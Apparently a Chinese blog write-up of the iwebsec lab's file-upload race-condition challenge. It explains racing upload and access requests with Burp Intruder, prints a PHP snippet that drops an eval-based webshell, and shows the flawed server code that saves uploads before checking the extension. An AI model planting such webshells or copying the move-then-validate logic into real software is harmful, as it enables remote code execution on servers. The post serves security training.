iwebsec-文件上传 07 条件竞争

发布时间 2023-08-19 15:58:00作者: 别打扰我摸鱼

01、题目分析

在文件上传的时候,会有一瞬间进行判断,如果上传文件违规会进行删除,我们要做的就是在删除文件之前先访问到上传的文件,就可以通过两个不断的发包实现这个功能,先发一个一直上传的包,再同时发一个一直访问的包,一直循环,找到一个文件在服务器的时候正好访问到的时机,不仅仅访问,同时创建出一个后门

02、文件上传

访问代码:访问即创建代码搞出来(访问了自动创建一个后门代码)

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

然后先抓一个访问shell.php的包出来,发送到intruder中,payload选null payloads,然后选择一直循环

image

image

然后我们再弄一个一直上传的包,其他的配置都一样

image

image

image
然后一直去webshell访问路径,看看能否访问到
image

image

03、源码分析

<?php
if (isset($_POST['submit'])){ // 检查表单中是否存在名为 'submit' 的提交按钮
    $allow_ext = array("gif","png","jpg"); // 允许上传的文件扩展名列表
        
    $uploaddir = 'uploads/'; // 定义文件上传目录

    $filename = $uploaddir.$_FILES['upfile']['name']; // 上传文件的完整路径和文件名
        
    move_uploaded_file($_FILES['upfile']['tmp_name'],$filename); // 将上传的临时文件移动到指定的目录和文件名
  
    $file = "./".$filename; // 上传文件的相对路径和文件名
    echo "文件上传成功: ".$file."\n<br />"; // 输出上传成功的信息以及文件路径和文件名

    $ext = array_pop(explode(".",$_FILES['upfile']['name'])); // 获取上传文件的扩展名
    if (!in_array($ext,$allow_ext)){ // 检查上传文件的扩展名是否在允许的扩展名列表中
        unlink($file); // 如果文件类型不允许上传,则删除已上传的文件
        die("此文件类型不允许上传已删除"); // 终止脚本的执行,并输出错误提示
    }
}else{
    die(""); // 如果没有点击提交按钮,则终止脚本的执行
}
?>